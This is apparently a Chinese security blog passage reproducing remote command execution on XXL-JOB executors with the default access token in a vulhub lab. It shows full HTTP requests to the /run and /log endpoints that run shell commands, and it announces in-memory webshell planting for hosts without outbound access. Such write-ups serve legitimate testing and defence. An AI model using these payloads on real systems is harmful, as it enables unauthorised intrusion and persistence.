一、前言

ks最近大师傅说有这个站让看看,能不能利用一下,于是便有了这篇文章,xxl-job,default_token 利用。本篇文章旨在详细介绍XXL-JOB平台中已被发现的default_token 利用,以及这些漏洞可能被利用的方式,如各版本在不出网的情况下怎么打内存马,怎么打隧道。

java -jar xxl-job-executor-sample-springboot-2.3.0.jar --spring.config.location=./application.properties

https://xz.aliyun.com/news/12886

https://cloud.tencent.com/developer/article/2378322

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:

容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。
脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。
动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。
Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

2.3 架构

XXL-JOB 采用的是 中心调度 + 分布式执行器 的架构:

      ┌─────────────────────────────┐
      │        XXL-JOB Admin        │
      │   (调度中心/控制台)          │
      │                             │
      │ - 任务管理(Web UI)          │
      │ - 执行日志查看                │
      │ - 执行器注册管理              │
      │ - 任务调度与分发              │
      └───────────┬─────────────────┘
                  │
      ┌───────────┴───────────┐
      │                       │
┌──────────────────┐     ┌──────────────────┐
│ XXL-JOB Executor │     │ XXL-JOB Executor │
│ (执行器实例)    │     │ (执行器实例)    │
│ - 任务执行       │     │ - 任务执行       │
│ - 日志上报       │     │ - 日志上报       │
└──────────────────┘     └──────────────────┘

简单的来说,当我们见到这个页面时,我没见到的调度中心,

image-20251009142921574

登录后,后台的执行器,才是真正执行任务的。image-20251009143054727

二、环境搭建

这里我们直接用现成https://github.com/vulhub/vulhub,

cd /vulhub/xxl-job/unacc 直接起即可,

image-20251023160142235vulhub里面默认起的的xxl-job2.2版本的,2.2版本和。23版本打马的时候有一些区别。如果想测试2.3版本的话,需要重新到xxl官网去下载2.3 然后,mvn编译,9999 8081都已占用,加一下netty和tomcat监听的端口
image-20251023155102541

本文将研究的是xxl打8081端口,而不是打执行命令的端口。image-20251023155241483

我们在启动xxl-job-executor的时候,会启动两个端口,一个是8081端口一个是9999端口
image-20251023155358366

9999端口,启动的netty的中间件,8081端口启动的是tomcat,我们在9999端口打完马后,要连接8081的内存马。启动后,访问

image-20251023160225591

访问,http://192.168.133.134:9999/

image-20251023160301188

说明没问题。

漏洞复现

XXL-JOB <= 2.4.0的时候,默认下载的执行器的配置文件中,token默认为空或者为default_token,如果开发者没改的话,也就可以进行利用了。网上给的一些代码或者工具都是利用到反弹shell或者命令执行就结束了,并且是spring boot的项目,也传不了jsp文件,如果在实战中,遇到了不出网的机器,那么就不好办了,所以要打内存马比较方便后续渗透。

我们来先简单看下执行命令的poc,

这里我们假设访问不到8080的面板,只能访问到执行器端口,http://192.168.133.134:9999/,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /run HTTP/1.1
Host: 192.168.133.134:9999
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: http_Path=%2Fwww%2Fwwwroot; wp-settings-time-1=1761029415
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 325

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_SHELL",
"glueSource": "id",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image-20251023162908439

返回200表示没问题,这里 “glueType”: “GLUE_SHELL”,是shell执行,也就是直接执行命令,官方还支持6种脚本,为以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
任务配置:
- 运行模式:
BEAN模式:任务以JobHandler方式维护在执行器端;需要结合 "JobHandler" 属性匹配执行器中任务;
GLUE模式(Java):任务以源码方式维护在调度中心;该模式的任务实际上是一段继承自IJobHandler的Java类代码并 "groovy" 源码方式维护,它在执行器项目中运行,可使用@Resource/@Autowire注入执行器里中的其他服务;
GLUE模式(Shell):任务以源码方式维护在调度中心;该模式的任务实际上是一段 "shell" 脚本;
GLUE模式(Python):任务以源码方式维护在调度中心;该模式的任务实际上是一段 "python" 脚本;
GLUE模式(PHP):任务以源码方式维护在调度中心;该模式的任务实际上是一段 "php" 脚本;
GLUE模式(NodeJS):任务以源码方式维护在调度中心;该模式的任务实际上是一段 "nodejs" 脚本;
GLUE模式(PowerShell):任务以源码方式维护在调度中心;该模式的任务实际上是一段 "PowerShell" 脚本;
香对应的gluetype:
BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null), //java用GLUE_GROOVY
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

“glueType”: “GLUE_SHELL”, 需要其他脚本的时候在这里替换。
需要看回显,就打log接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /log HTTP/1.1
Host: 192.168.133.134:9999
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: http_Path=%2Fwww%2Fwwwroot; wp-settings-time-1=1761029415
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

{
"logId": 2
}

image-20251023172933539

这里在打run接口的时候,需要注意time不能写时间戳超过现在的时间,如果超过了会无回显。还有一个点要注意,就是有的版本会报没有token,这个时候你就需要加上XXL-JOB-ACCESS-TOKEN: default_token既可以打了,如果开发者改了,那就不行了。
回到,我们刚刚谈到的,如果这里机器不出网,那么反弹shell就不能操作,你想上传文件啥的也不行,所以这里我们来打🐎。